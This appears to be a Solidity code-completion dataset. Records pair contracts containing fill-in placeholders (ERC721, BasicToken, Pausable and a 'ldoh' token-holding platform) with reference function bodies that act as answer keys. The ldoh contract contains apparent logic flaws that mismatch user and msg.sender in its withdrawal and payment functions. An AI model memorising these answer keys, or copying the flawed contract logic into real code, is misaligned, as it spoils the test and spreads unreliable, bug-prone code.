As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } <FILL_FUNCTION> /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all"); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner;
function ownerOf(uint256 tokenId) public view virtual override returns (address)
/** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address)
565
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
53492
Pausable
paused
contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return True if the contract is paused, false otherwise. */ function paused() public view returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } }
contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } <FILL_FUNCTION> /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Called by a pauser to pause, triggers stopped state. */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev Called by a pauser to unpause, returns to normal state. */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } }
return _paused;
function paused() public view returns (bool)
/** * @return True if the contract is paused, false otherwise. */ function paused() public view returns (bool)
51165
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } }
require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
15603
ldoh
UnlockToken2
contract ldoh is EthereumSmartContract { /*============================== = EVENTS = ==============================*/ event onCashbackCode (address indexed hodler, address cashbackcode); event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime); event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); /*============================== = VARIABLES = ==============================*/ //-------o Affiliate = 12% o-------o Cashback = 16% o-------o Total Receive = 88% o-------o Without Cashback = 72% o-------o //-------o Hold 24 Months, Unlock 3% Permonth // Struct Database struct Safe { uint256 id; // [01] -- > Registration Number uint256 amount; // [02] -- > Total amount of contribution to this transaction uint256 endtime; // [03] -- > The Expiration Of A Hold Platform Based On Unix Time address user; // [04] -- > The ETH address that you are using address tokenAddress; // [05] -- > The Token Contract Address That You Are Using string tokenSymbol; // [06] -- > The Token Symbol That You Are Using uint256 amountbalance; // [07] -- > 88% from Contribution / 72% Without Cashback uint256 cashbackbalance; // [08] -- > 16% from Contribution / 0% Without Cashback uint256 lasttime; // [09] -- > The Last Time You Withdraw Based On Unix Time uint256 percentage; // [10] -- > The percentage of tokens that are unlocked every month ( Default = 3% ) uint256 percentagereceive; // [11] -- > The Percentage You Have Received uint256 tokenreceive; // [12] -- > The Number Of Tokens You Have Received uint256 lastwithdraw; // [13] -- > The Last Amount You Withdraw address referrer; // [14] -- > Your ETH referrer address bool cashbackstatus; // [15] -- > Cashback Status } uint256 private idnumber; // [01] -- > ID number ( Start from 500 ) uint256 public TotalUser; // [02] -- > Total Smart Contract User mapping(address => address) public cashbackcode; // [03] -- > Cashback Code mapping(address => uint256[]) public idaddress; // [04] -- > Search Address by ID mapping(address => address[]) public afflist; // [05] -- > Affiliate List by ID mapping(address => string) public ContractSymbol; // [06] -- > Contract Address Symbol mapping(uint256 => Safe) private _safes; // [07] -- > Struct safe database mapping(address => bool) public contractaddress; // [08] -- > Contract Address mapping (address => mapping (uint256 => uint256)) public Bigdata; /** Bigdata Mapping : [1] Percent (Monthly Unlocked tokens) [7] All Payments [13] Total TX Affiliate (Withdraw) [2] Holding Time (in seconds) [8] Active User [14] Current Price (USD) [3] Token Balance [9] Total User [15] ATH Price (USD) [4] Min Contribution [10] Total TX Hold [16] ATL Price (USD) [5] Max Contribution [11] Total TX Unlock [17] Current ETH Price (ETH) [6] All Contribution [12] Total TX Airdrop [18] Unique Code **/ mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics; // Statistics = [1] LifetimeContribution [2] LifetimePayments [3] Affiliatevault [4] Affiliateprofit [5] ActiveContribution // Airdrop - Hold Platform (HOLD) address public Holdplatform_address; // [01] uint256 public Holdplatform_balance; // [02] mapping(address => uint256) public Holdplatform_status; // [03] mapping(address => uint256) public Holdplatform_divider; // [04] /*============================== = CONSTRUCTOR = ==============================*/ constructor() public { idnumber = 500; Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e; //Change before deploy } /*============================== = AVAILABLE FOR EVERYONE = ==============================*/ //-------o Function 01 - Ethereum Payable function () public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothemoon() public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothe_moon() private { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.user == msg.sender) { Unlocktoken(s.tokenAddress, s.id); } } } //-------o Function 02 - Cashback Code function CashbackCode(address _cashbackcode, uint256 uniquecode) public { require(_cashbackcode != msg.sender); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode ) { cashbackcode[msg.sender] = _cashbackcode; } else { cashbackcode[msg.sender] = EthereumNodes; } if (Bigdata[msg.sender][18] == 0 ) { Bigdata[msg.sender][18] = uniquecode; } emit onCashbackCode(msg.sender, _cashbackcode); } //-------o Function 03 - Contribute //--o 01 function Holdplatform(address tokenAddress, uint256 amount) public { require(amount >= 1 ); uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount); require(holdamount <= Bigdata[tokenAddress][5] ); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 ) { cashbackcode[msg.sender] = EthereumNodes; Bigdata[msg.sender][18] = 123456; } if (contractaddress[tokenAddress] == false) { revert(); } else { ERC20Interface token = ERC20Interface(tokenAddress); require(token.transferFrom(msg.sender, address(this), amount)); HodlTokens2(tokenAddress, amount); Airdrop(tokenAddress, amount, 1); } } //--o 02 function HodlTokens2(address ERC, uint256 amount) public { address ref = cashbackcode[msg.sender]; uint256 AvailableBalances = div(mul(amount, 72), 100); uint256 AvailableCashback = div(mul(amount, 16), 100); uint256 affcomission = div(mul(amount, 12), 100); uint256 nodecomission = div(mul(amount, 28), 100); if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) { AvailableCashback = 0; Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission); Bigdata[msg.sender][19] = 111; // Only Tracking ( Delete Before Deploy ) } else { Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission); Bigdata[msg.sender][19] = 222; // Only Tracking ( Delete Before Deploy ) } HodlTokens3(ERC, amount, AvailableBalances, AvailableCashback, ref); } //--o 04 function HodlTokens3(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) public { ERC20Interface token = ERC20Interface(ERC); uint256 TokenPercent = Bigdata[ERC][1]; uint256 TokenHodlTime = Bigdata[ERC][2]; uint256 HodlTime = add(now, TokenHodlTime); uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback; amount = 0; AvailableBalances = 0; AvailableCashback = 0; _safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false); Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM); Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM); Bigdata[ERC][6] = add(Bigdata[ERC][6], AM); Bigdata[ERC][3] = add(Bigdata[ERC][3], AM); if(Bigdata[msg.sender][8] == 1 ) { idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; } else { afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; } Bigdata[msg.sender][8] = 1; emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime); Bigdata[msg.sender][19] = 333; // Only Tracking ( Delete Before Deploy ) } //-------o Function 05 - Claim Token That Has Been Unlocked function Unlocktoken(address tokenAddress, uint256 id) public { require(tokenAddress != 0x0); require(id != 0); Safe storage s = _safes[id]; require(s.user == msg.sender); require(s.tokenAddress == tokenAddress); if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); } } //--o 01 function UnlockToken2(address ERC, uint256 id) private {<FILL_FUNCTION_BODY> } //--o 02 function UnlockToken3(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 timeframe = sub(now, s.lasttime); uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000); // 2592000 = seconds30days //--o = s.amount * s.percentage / 100 * timeframe / seconds30days ; uint256 MaxWithdraw = div(s.amount, 10); //--o Maximum withdraw before unlocked, Max 10% Accumulation if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; } //--o Maximum withdraw = User Amount Balance if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; } uint256 realAmount = add(s.cashbackbalance, realAmount1); uint256 newamountbalance = sub(s.amountbalance, realAmount1); s.cashbackbalance = 0; s.amountbalance = newamountbalance; s.lastwithdraw = realAmount; s.lasttime = now; UnlockToken4(ERC, id, newamountbalance, realAmount); } //--o 03 function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = realAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ; uint256 maxcashback = div(mul(s.amount, 16), 100) ; uint256 sid = s.id; if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid ) { uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ; }else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;} uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ; s.tokenreceive = tokenreceived; s.percentagereceive = percentagereceived; PayToken(s.user, s.tokenAddress, realAmount); emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(s.tokenAddress, realAmount, 4); } //--o Pay Token function PayToken(address user, address tokenAddress, uint256 amount) private { ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][11]++; } //-------o Function 05 - Airdrop function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private { if (Holdplatform_status[tokenAddress] == 1) { require(Holdplatform_balance > 0 ); uint256 divider = Holdplatform_divider[tokenAddress]; uint256 airdrop = div(div(amount, divider), extradivider); address airdropaddress = Holdplatform_address; ERC20Interface token = ERC20Interface(airdropaddress); token.transfer(msg.sender, airdrop); Holdplatform_balance = sub(Holdplatform_balance, airdrop); Bigdata[tokenAddress][12]++; emit onReceiveAirdrop(msg.sender, airdrop, now); } } //-------o Function 06 - Get How Many Contribute ? function GetUserSafesLength(address hodler) public view returns (uint256 length) { return idaddress[hodler].length; } //-------o Function 07 - Get How Many Affiliate ? function GetTotalAffiliate(address hodler) public view returns (uint256 length) { return afflist[hodler].length; } //-------o Function 08 - Get complete data from each user function GetSafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive); } //-------o Function 09 - Withdraw Affiliate Bonus function WithdrawAffiliate(address user, address tokenAddress) public { require(tokenAddress != 0x0); require(Statistics[user][tokenAddress][3] > 0 ); uint256 amount = Statistics[msg.sender][tokenAddress][3]; Statistics[msg.sender][tokenAddress][3] = 0; Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); uint256 eventAmount = amount; address eventTokenAddress = tokenAddress; string memory eventTokenSymbol = ContractSymbol[tokenAddress]; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][13]++; emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(tokenAddress, amount, 4); } /*============================== = RESTRICTED = ==============================*/ //-------o 01 Add Contract Address function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted { uint256 newSpeed = _PercentPermonth; require(newSpeed >= 3 && newSpeed <= 12); Bigdata[tokenAddress][1] = newSpeed; ContractSymbol[tokenAddress] = _ContractSymbol; Bigdata[tokenAddress][5] = _maxcontribution; uint256 _HodlingTime = mul(div(72, newSpeed), 30); uint256 HodlTime = _HodlingTime * 1 days; Bigdata[tokenAddress][2] = HodlTime; Bigdata[tokenAddress][14] = CurrentUSDprice; Bigdata[tokenAddress][17] = CurrentETHprice; contractaddress[tokenAddress] = true; } //-------o 02 - Update Token Price (USD) function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted { if (Currentprice > 0 ) { Bigdata[tokenAddress][14] = Currentprice; } if (ATHprice > 0 ) { Bigdata[tokenAddress][15] = ATHprice; } if (ATLprice > 0 ) { Bigdata[tokenAddress][16] = ATLprice; } if (ETHprice > 0 ) { Bigdata[tokenAddress][17] = ETHprice; } } //-------o 03 Hold Platform function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted { require(HPM_status == 0 || HPM_status == 1 ); Holdplatform_status[tokenAddress] = HPM_status; Holdplatform_divider[tokenAddress] = HPM_divider; // Airdrop = 100% : Divider } //--o Deposit function Holdplatform_Deposit(uint256 amount) restricted public { require(amount > 0 ); ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.transferFrom(msg.sender, address(this), amount)); uint256 newbalance = add(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; emit onHOLDdeposit(msg.sender, amount, newbalance, now); } //--o Withdraw function Holdplatform_Withdraw(uint256 amount) restricted public { require(Holdplatform_balance > 0 && amount <= Holdplatform_balance); uint256 newbalance = sub(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); emit onHOLDwithdraw(msg.sender, amount, newbalance, now); } //-------o 04 - Return All Tokens To Their Respective Addresses function ReturnAllTokens() restricted public { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.id != 0) { if(s.amountbalance > 0) { uint256 amount = add(s.amountbalance, s.cashbackbalance); PayToken(s.user, s.tokenAddress, amount); s.amountbalance = 0; s.cashbackbalance = 0; Statistics[s.user][s.tokenAddress][5] = 0; } } } } /*============================== = SAFE MATH FUNCTIONS = ==============================*/ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } }
